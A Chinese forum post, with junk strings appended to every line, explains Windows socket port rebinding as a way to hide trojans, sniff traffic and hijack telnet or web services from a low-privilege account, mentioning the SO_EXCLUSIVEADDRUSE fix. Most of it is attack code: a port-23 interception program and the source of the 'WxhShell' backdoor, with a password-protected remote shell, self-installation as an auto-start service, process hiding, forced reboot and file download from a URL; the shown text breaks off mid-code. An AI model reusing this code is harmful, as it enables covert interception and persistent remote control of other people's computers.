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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: MwO`DrV  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ty-erdsP  
o@@, }  
  saddr.sin_family = AF_INET; /;9iDjG  
gf^XqTLs  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &N|`Q (QXS  
tEjT$`6hp  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); o8!uvl}:9  
7J[s5'~|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 L1u(\zw  
^J?y mo$>0  
  这意味着什么?意味着可以进行如下的攻击: (^mpb  
&p_V<\(%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #-9@*FFL,  
![3l K  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) fYUbr"Oe  
.u\xA7X  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 u7}C):@H  
/@feY?glc  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +_v#V9?  
_t.Ub:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1 ILA Utf)  
+xn59V  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 WR5W0!'Tf  
5KRI}f  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Xot2L{EIUE  
U8GvUysB!  
  #include M.0N`NmS  
  #include z\r29IRh  
  #include ew 4pAav  
  #include    (ioJ G-2u  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ^;mnP=`l[  
  int main() WYY&MHp  
  { %W,V~kb  
  WORD wVersionRequested; yR4++yk  
  DWORD ret; 4$MV]ldUI  
  WSADATA wsaData; t# <(Q  
  BOOL val; .y^T 3?}I  
  SOCKADDR_IN saddr; \oy8)o/Gb  
  SOCKADDR_IN scaddr; v%!'vhf_K  
  int err; -,^Z5N#\|  
  SOCKET s; 3iBUIv  
  SOCKET sc; |[/'W7TV%?  
  int caddsize; zIy&gOX  
  HANDLE mt; ZZJ<JdD  
  DWORD tid;   j V~+=(w)  
  wVersionRequested = MAKEWORD( 2, 2 ); Pe)SugCs  
  err = WSAStartup( wVersionRequested, &wsaData ); TDZ p1zpXb  
  if ( err != 0 ) { bPUldkB:  
  printf("error!WSAStartup failed!\n"); ;QqC c!b  
  return -1; Bl/Z _@  
  } rkWiGiisM  
  saddr.sin_family = AF_INET; 4d;.p1ro  
   ]/c!;z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !G~`5?CvE  
V6 uh'2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); zx`(ojfu  
  saddr.sin_port = htons(23); "s.s(TR8  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5"2pU{xmK  
  { I,@ 6w  
  printf("error!socket failed!\n");  re@;6o  
  return -1; 7p[NuU*Gg  
  } \CVrLn;}  
  val = TRUE; ).8NZ Aj  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -E>LB\[t)  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (=t41-l  
  { zr^"zcfz&  
  printf("error!setsockopt failed!\n"); BT* {&'\/  
  return -1; Fb<fQIa  
  } { \ ]KYI0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =H/ 5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 UKzXz0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 iPdR;O'  
]oizBa@?G  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (R-(  
  { oN&U@N/>aU  
  ret=GetLastError(); |^C35 6M>  
  printf("error!bind failed!\n"); bEli!N$  
  return -1; CM4#Nn=i~  
  } O[W/=j[  
  listen(s,2); &Rt^G  
  while(1) 3h**y %^  
  { ?v}S9z  
  caddsize = sizeof(scaddr); 'Oa(]Br[  
  //接受连接请求 Hk@LHC  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); sPRo=LB  
  if(sc!=INVALID_SOCKET) Nc:0opPM  
  { OEhDRU%k  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); J8?V1Ad{  
  if(mt==NULL) |G(I,EPag  
  { Tno 0Q +  
  printf("Thread Creat Failed!\n"); ,nSapmg  
  break; h]DzX8r}  
  } bj7r"_  
  } #D .hZ=!  
  CloseHandle(mt);  wkKSL  
  } $ Qcr8~+a  
  closesocket(s); W3w$nV  
  WSACleanup(); H&uh$y@  
  return 0; y;=/S?L.:  
  }   SY$%)(c8kL  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8XD_p);Oy  
  { 2 sK\.yS  
  SOCKET ss = (SOCKET)lpParam; S#N4!"  
  SOCKET sc; Vu;z|L  
  unsigned char buf[4096]; lN'b"N  
  SOCKADDR_IN saddr; +k\cmDcb  
  long num; V?-SvQIk1  
  DWORD val; !xE@r,'oN  
  DWORD ret; _[,7DA.qc  
  //如果是隐藏端口应用的话,可以在此处加一些判断 mOntc6&]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   7.bPPr&  
  saddr.sin_family = AF_INET; |vgYi  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); V=)' CCi{  
  saddr.sin_port = htons(23); f[-$##S.~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \CrWKBL  
  { {ZKXT8'  
  printf("error!socket failed!\n"); 8y'.H21:;  
  return -1; Yz ? 8n  
  } '1rO&F  
  val = 100; 6"/4@?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W~Q;R:y  
  { WT jy"p*  
  ret = GetLastError(); 6xoCB/]  
  return -1; aRcVoOq  
  } ?63ep:QEk  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y?\PU{ O  
  { KN".0WU  
  ret = GetLastError(); MY l9 &8  
  return -1; o_n 3.O=  
  } V z-]H]MW,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) d$:LUxM#  
  { eDY)i9"W  
  printf("error!socket connect failed!\n"); zo:NE0 0  
  closesocket(sc); $y,tR.5.)[  
  closesocket(ss); mZ~f?{  
  return -1; 75eZhs[b  
  } T9bUt|  
  while(1) 6/.cS4  
  { x+EEMv3u:  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @k)[p+)E  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 z m+3aF  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .zsY VtK  
  num = recv(ss,buf,4096,0); F~?|d 0  
  if(num>0) dz1kQzOU*  
  send(sc,buf,num,0); tv%B=E!r  
  else if(num==0) aole`PD,l  
  break; ~nb1c:F  
  num = recv(sc,buf,4096,0); iJS7g  
  if(num>0) f0 kz:sZ9  
  send(ss,buf,num,0); xM![  
  else if(num==0) J=b 'b%  
  break; rDv`E^\  
  } A+hA'0isF@  
  closesocket(ss); u,./,:O%=  
  closesocket(sc); fndbGbl8p  
  return 0 ; z/wwe\ a5  
  } #'BPW<Ob  
;*cCaB0u  
jmF)iDvjuZ  
========================================================== U\-=|gQ'  
E_\V^  
下边附上一个代码,,WXhSHELL cVl i^*se  
?{\h`+A  
========================================================== g0#w 4rGF)  
Bo8NY!  
#include "stdafx.h" * 'Bu-1{  
.$o A~  
#include <stdio.h> lYS*{i1^ '  
#include <string.h> .mplML0oW  
#include <windows.h> wH+| & C  
#include <winsock2.h> >65\  
#include <winsvc.h> A45!hhf  
#include <urlmon.h> a#a n+JY3  
(XEJd4r  
#pragma comment (lib, "Ws2_32.lib") -6$GM J7  
#pragma comment (lib, "urlmon.lib") a}X. ewg  
`%*`rtZ+H.  
#define MAX_USER   100 // 最大客户端连接数 ?hYWxWW  
#define BUF_SOCK   200 // sock buffer |)S*RQb\  
#define KEY_BUFF   255 // 输入 buffer V=<AI.Z:w  
~SS3gLv  
#define REBOOT     0   // 重启 gv1y%(`|n(  
#define SHUTDOWN   1   // 关机 KxDp+]N]  
zbjV>5  
#define DEF_PORT   5000 // 监听端口 e-#V s{?|r  
y-{?0mLq  
#define REG_LEN     16   // 注册表键长度 }s[`T   
#define SVC_LEN     80   // NT服务名长度 PJ\k|  
*MQ`&;Qa,  
// 从dll定义API WEtPIHruyt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i&{%} ==7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Hwcmt!y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XSGBC:U)l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1x8wQ/p|  
t%StBq(q  
// wxhshell配置信息 NryOdt tI  
struct WSCFG { W}#n.c4+  
  int ws_port;         // 监听端口 3,n"d-  
  char ws_passstr[REG_LEN]; // 口令 d.HcO^  
  int ws_autoins;       // 安装标记, 1=yes 0=no k8r1)B4ab  
  char ws_regname[REG_LEN]; // 注册表键名 ]^,!;do  
  char ws_svcname[REG_LEN]; // 服务名 M3r;Pdj2r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [s{[ .0P]+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 mtdy@=?1Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zO@>)@~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hzT)5'_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g>l+oH[Tv|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zrf tF2U  
wD4[UU?  
}; zRbY]dW  
`jVRabZ0  
// default Wxhshell configuration 6b9J3~d\E  
struct WSCFG wscfg={DEF_PORT, cL][sI  
    "xuhuanlingzhe", =T\=,B  
    1, N,l"9>CF  
    "Wxhshell", x=+>J$~Pb  
    "Wxhshell", /nn~&OU  
            "WxhShell Service", #2Iag' 4T  
    "Wrsky Windows CmdShell Service", $HtGB]  
    "Please Input Your Password: ", `5!AHQ/  
  1, _GrifGU\  
  "http://www.wrsky.com/wxhshell.exe", bwj{5-FU  
  "Wxhshell.exe" m)3M)8t  
    }; dFA1nn6{  
<fF|AbC:  
// 消息定义模块 ib~i ^_p  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o\]U;#YD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~X3x- nAt  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T]nAz<l),  
char *msg_ws_ext="\n\rExit."; r)OiiD"  
char *msg_ws_end="\n\rQuit."; (m6V)y  
char *msg_ws_boot="\n\rReboot..."; ]:b52Z  
char *msg_ws_poff="\n\rShutdown..."; IN.g  
char *msg_ws_down="\n\rSave to "; ch25A<O<R.  
*8po0s  
char *msg_ws_err="\n\rErr!"; `*BV@  
char *msg_ws_ok="\n\rOK!"; T\g+w\N  
:`Ut.E~.  
char ExeFile[MAX_PATH]; GC'e  
int nUser = 0; %ek0NBE7  
HANDLE handles[MAX_USER]; O ;[Mi  
int OsIsNt; p$qk\efv*4  
^g5E&0a`g  
SERVICE_STATUS       serviceStatus; tfZ@4%'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; EmR82^_:  
+:4>4=  
// 函数声明 >TY;l3ew  
int Install(void); x^EW'-a  
int Uninstall(void); @!u{>!~0  
int DownloadFile(char *sURL, SOCKET wsh); `GdH ,:S>  
int Boot(int flag); o-7{\%+M  
void HideProc(void); %ut 8/T  
int GetOsVer(void); ?|+e*{4k  
int Wxhshell(SOCKET wsl); "lLh#W1d  
void TalkWithClient(void *cs); 6<$.Z-,  
int CmdShell(SOCKET sock); JJ%@m;~  
int StartFromService(void); p:5NMo  
int StartWxhshell(LPSTR lpCmdLine); i?;#Z Nh  
MP)Prl>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); VsAJ2g9L  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); aHmg!s}&  
Q?1J<(oq9  
// 数据结构和表定义 Fa[^D~$l*  
SERVICE_TABLE_ENTRY DispatchTable[] = !%ju.Xs8  
{ GWWg3z.o"W  
{wscfg.ws_svcname, NTServiceMain}, ,?erAI  
{NULL, NULL} 8=TC 3]  
}; rKUtTj  
OKlR`Vaty  
// 自我安装 1W{oj  
int Install(void) n:OXv}pv  
{ |+W{c`KL  
  char svExeFile[MAX_PATH]; GEF's#YWK  
  HKEY key; _<#92v !F  
  strcpy(svExeFile,ExeFile); xb3G,F  
+]A,fmI.  
// 如果是win9x系统,修改注册表设为自启动 8wvHg_U6W  
if(!OsIsNt) { R/Bjc}J'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m+;U,[%[*E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q,L>PN+W  
  RegCloseKey(key); el*|@#k}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j \jMN*dmV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4@3\Ihv  
  RegCloseKey(key); \-pwA j?  
  return 0; &gY578tU  
    } H=C~h\me?  
  } SyVXXk 0  
} ?.Vuet  
else { Os-Z_zSl6  
&uRT/+18W3  
// 如果是NT以上系统,安装为系统服务 @9| jY1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PiM(QR  
if (schSCManager!=0) @I?,!3`jS  
{ XXum2eA  
  SC_HANDLE schService = CreateService X^N6s"2  
  ( 2=fM\G  
  schSCManager, "h_f- vP  
  wscfg.ws_svcname, ,$:u^;V(  
  wscfg.ws_svcdisp, s(3u\#P  
  SERVICE_ALL_ACCESS, LF!KP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Zt! $"N.,  
  SERVICE_AUTO_START, <Hr<QiAK  
  SERVICE_ERROR_NORMAL, 'RKpMdoz  
  svExeFile, /)J]ItJlz  
  NULL, M?sax+'  
  NULL, !7I07~&1  
  NULL, Z40k>t D  
  NULL, 36(qe"s  
  NULL #;a+)~3*O  
  ); 1?H; c5?d&  
  if (schService!=0) #~-Xt! I  
  { eUQmW^  
  CloseServiceHandle(schService); sx=1pnP9`  
  CloseServiceHandle(schSCManager); `)y ;7%-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0vfMJzk  
  strcat(svExeFile,wscfg.ws_svcname); 51|s2+GG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,dQ*0XO!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \-]Jm[]^  
  RegCloseKey(key); a%m )8N;C  
  return 0; %/w-.?bX  
    } YU-wE';H6  
  } U.SC,;N^  
  CloseServiceHandle(schSCManager);  ,c`6-  
} elGBX h  
} a. D cmy{  
+BtLd+)R  
return 1; 02;'"EmP$  
} :j3'+% '2  
VdM Ksx`r  
// 自我卸载 _@XueNU1hS  
int Uninstall(void) i=n;rT  
{ ;hq_}.  
  HKEY key; ;} Lf  
}rmr0Bh  
if(!OsIsNt) { !O!:=wq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >Um(gbG  
  RegDeleteValue(key,wscfg.ws_regname); Kn$E{F\  
  RegCloseKey(key); e"^WXP.t&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F%y#)53g  
  RegDeleteValue(key,wscfg.ws_regname); 9'H:pb2  
  RegCloseKey(key); TxQsi"0c  
  return 0; C<a&]dN/  
  } -!~pa^j  
} :dbO|]Xf  
} >wqWIw.w>  
else { apJXRH`  
[^a7l$fmi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 63\ CE_p  
if (schSCManager!=0) )UU`uzU;u  
{ aj1g9 y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j-/$e,xX  
  if (schService!=0) 6W YVHG  
  { !sI^Lh,Y  
  if(DeleteService(schService)!=0) { \anOOn@  
  CloseServiceHandle(schService); &k*oG: J3  
  CloseServiceHandle(schSCManager); L:&'z:,<  
  return 0; ^2BiMH3j  
  } \>oy2{=;'  
  CloseServiceHandle(schService); vD#kH 1  
  } imM#zy  
  CloseServiceHandle(schSCManager); NoF|j57?u'  
} T-4dD  
} R!"`Po  
J=kf KQV  
return 1; HI:1Voy  
} PQ_A^95  
N@X6Z!EO  
// 从指定url下载文件 OD Ry  
int DownloadFile(char *sURL, SOCKET wsh) _Hx'<%hhI  
{ w ?"M  
  HRESULT hr; ]!"7k_  
char seps[]= "/"; `N}V i6FG  
char *token; PpLh j  
char *file; Y>c+j  
char myURL[MAX_PATH]; 73u97oe>1  
char myFILE[MAX_PATH]; pfc"^Gi8  
wLI1qoDM  
strcpy(myURL,sURL); #:Q\   
  token=strtok(myURL,seps); >*B59+1P  
  while(token!=NULL) yfqe6-8U  
  { l%0-W  
    file=token; TntTR"6aD  
  token=strtok(NULL,seps); <7Yh<(R e^  
  } VS`{k^^  
I%Z=O=  
GetCurrentDirectory(MAX_PATH,myFILE); 3TV4|&W;  
strcat(myFILE, "\\"); inq {" 6  
strcat(myFILE, file); @Wm:Rz  
  send(wsh,myFILE,strlen(myFILE),0); +o,f:Ih  
send(wsh,"...",3,0); aS>cXJ;=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )3|a_   
  if(hr==S_OK) |eye) E:  
return 0; D^s#pOZS  
else w4Hq|N1-Y  
return 1; E}0g  
[ gR,nJH.  
} p,(W?.ZDN?  
XN\rq=  
// 系统电源模块 g#1 Y4  
int Boot(int flag) }2c&ARQ.m>  
{ e6 <9`Xg  
  HANDLE hToken; noB8*n0  
  TOKEN_PRIVILEGES tkp; 77+3CME{'  
eQ[}ALIq  
  if(OsIsNt) { psiuoYf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); sUiO~<Ozpk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); CZy3]O"qW  
    tkp.PrivilegeCount = 1; M,oZ_tY%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V`c,U7[/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /#t::b+>x  
if(flag==REBOOT) { M U '-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m' |wlI[lq  
  return 0; <4zSh3  
} sC2NFb-+&  
else { vwa*'C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @li/Y6Wh  
  return 0; S$40nM  
} 6u`$a&dR'l  
  } Dwr"-  
  else { VT~%);.#  
if(flag==REBOOT) { '9Q#%E!*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #2Vq"Zn  
  return 0; JIYzk]Tj  
} *c$UIg  
else { U(OkTJxv+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eZhF<<Y  
  return 0; k f|J  
} $Tt.r  
} im)r4={ 9  
V)u#=OS  
return 1; +o0yx U 7t  
} \PG_i'R  
Nm-E4N#'i  
// win9x进程隐藏模块 }!|$;3t+c  
void HideProc(void) n\BV*AH  
{ WyM2h  
4L97UhLL  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #i*PwgC%_  
  if ( hKernel != NULL ) O@dK^o  
  { X(8LhsP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,K30.E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W+4Bx=Mj  
    FreeLibrary(hKernel); qwn EVjf  
  } 8b4? O"  
$ )2zz>4  
return; *M>~$h7  
} y4=T0[ V  
bwszfPM  
// 获取操作系统版本 @$%.iQ7A;  
int GetOsVer(void) +t Prqv"(  
{ )Q}Q -Zt  
  OSVERSIONINFO winfo; yWT1CID  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $DnR[V}rR!  
  GetVersionEx(&winfo); yB{1&S5 C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J'WOqAnPZ  
  return 1; _,e4?grP#  
  else uI9+@oV  
  return 0; z-sq9Qp&x  
}  s%5XBI  
NH=@[t) P,  
// 客户端句柄模块 -?IF'5z  
int Wxhshell(SOCKET wsl) zh(=kS `  
{ (VHPcoL  
  SOCKET wsh; \DD4=XGA  
  struct sockaddr_in client; \SYeDy  
  DWORD myID; ;Cty"H,  
sP=^5K`g  
  while(nUser<MAX_USER) 6Tm7|2R  
{ h^14/L=|  
  int nSize=sizeof(client); Lso%1M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Df(+@L5!  
  if(wsh==INVALID_SOCKET) return 1; |X6R 2I  
cw0uLMqr`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vuJEPn%  
if(handles[nUser]==0) :n%&  
  closesocket(wsh); 34_ V&8  
else ]<Q&  
  nUser++; <w?k<%( 4  
  } Q;nC #cg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 13Q87i5B  
0]nveC$  
  return 0; G}}Lp~  
} VT#`l0I }  
G2P:|R  
// 关闭 socket WU,b<PU &  
void CloseIt(SOCKET wsh) :j/sTO=  
{ W!+=`[Ff  
closesocket(wsh); @zLyG#kHY  
nUser--; hyhm{RC?[  
ExitThread(0); Y&DoA0/y  
} '0I>  
q; C6ID`  
// 客户端请求句柄 Y'+K U/H  
void TalkWithClient(void *cs) j|XL$Q  
{ q[+KQ,  
X7tBpyi  
  SOCKET wsh=(SOCKET)cs; zpzxCzU  
  char pwd[SVC_LEN]; 2gEF$?+q?  
  char cmd[KEY_BUFF]; T&Z*=ShH  
char chr[1]; _C|j"f/}  
int i,j; *|;`Gp  
7fl{<uf  
  while (nUser < MAX_USER) { Jq8v69fyQ  
k_gl$`A  
if(wscfg.ws_passstr) { ,;<M+V3+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ph%t #R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BD]o+96qP  
  //ZeroMemory(pwd,KEY_BUFF); nmyDGuzk  
      i=0; 38:5g_  
  while(i<SVC_LEN) { vRDs~'f  
-uhVw_qq#  
  // 设置超时 OO,EUOh-T:  
  fd_set FdRead; QpS7 nGev  
  struct timeval TimeOut; s E;2;2u"  
  FD_ZERO(&FdRead); 82o|(pw  
  FD_SET(wsh,&FdRead); d-8{}Q  
  TimeOut.tv_sec=8; f=7[GZoDn  
  TimeOut.tv_usec=0; (io[O?te  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H%i [;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [Ov/&jD"  
8~|v:qk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J]Rh+@r.  
  pwd=chr[0]; )a%E $`   
  if(chr[0]==0xd || chr[0]==0xa) { Q"3gvIyc  
  pwd=0; #6pJw?[  
  break; b%d,X-3  
  } JcfGe4  
  i++; @iBmOt>3  
    } 4RH>i+)pS\  
'Axe:8LA'  
  // 如果是非法用户,关闭 socket HC6v#-( `{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9Q 7342  
} w>'3}o(nY  
bHXoZix  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Mf7 [@#$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Mh{;1$j#  
 D@]/%;  
while(1) { \c!e_rZ  
o'Y/0hkh  
  ZeroMemory(cmd,KEY_BUFF); {xICR ~,*  
qt4%=E;[  
      // 自动支持客户端 telnet标准   @CoUFdbz  
  j=0; ~~Rq$'q}  
  while(j<KEY_BUFF) { a :cfr*IsK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S@TfZ3Go|  
  cmd[j]=chr[0]; #5iwDAw:|r  
  if(chr[0]==0xa || chr[0]==0xd) { xmfZ5nVL  
  cmd[j]=0; /)?qD  
  break; +6^hp-G7  
  } C 7YS>?^]  
  j++; JgV4-B0  
    } H.o3d/8:  
IIF <Zkpb  
  // 下载文件 = '-/JH~  
  if(strstr(cmd,"http://")) { -<e_^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kL<HGQt  
  if(DownloadFile(cmd,wsh)) ?30pNF|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2Zg%4/u,Zp  
  else _ x$\E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gh<#wa['}  
  } HYZp= *eb  
  else { @4Q /J$  
GgE 38~A4  
    switch(cmd[0]) { xlh<}V tp  
  1)f <  
  // 帮助 gJg+ ]-h/  
  case '?': { i@ 86Ez  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'aS: Azb  
    break; A7T(p7pP  
  } e2pFX?  
  // 安装 + +Eu.W;&#  
  case 'i': { p }Bh  
    if(Install()) 9V;A +d,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pIKfTkSqH  
    else m';4`Y5-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E5Ls/ H K  
    break; A+z}z@K  
    } -U;=]o1  
  // 卸载 !wZIXpeL  
  case 'r': { f=Oj01Ut*  
    if(Uninstall()) tqL2' (=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A-h[vP!v|  
    else Hr \vu`p$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >D_)z/v?"  
    break; V@\u<LO0G  
    } UlPGB2B  
  // 显示 wxhshell 所在路径 v|@EuN14<  
  case 'p': { 3ik~PgGoKQ  
    char svExeFile[MAX_PATH]; mILCC} Kt  
    strcpy(svExeFile,"\n\r"); 6.a|w}C`  
      strcat(svExeFile,ExeFile); 4.>y[_vu  
        send(wsh,svExeFile,strlen(svExeFile),0); U? ;Q\=>  
    break; /XdLdA!v  
    } O8-Z >;  
  // 重启 29&F_  
  case 'b': { a|k*A&5u2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4y $okn\}i  
    if(Boot(REBOOT))  O@skd2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s~c cx"HH  
    else { }^*`&Lh  
    closesocket(wsh); G}aM~,v  
    ExitThread(0); |`+ (O  
    } n} ]gAX  
    break; ?Iag-g9#=m  
    } 4Vd[cRh2  
  // 关机 w,X J8+B  
  case 'd': { X9rao n  
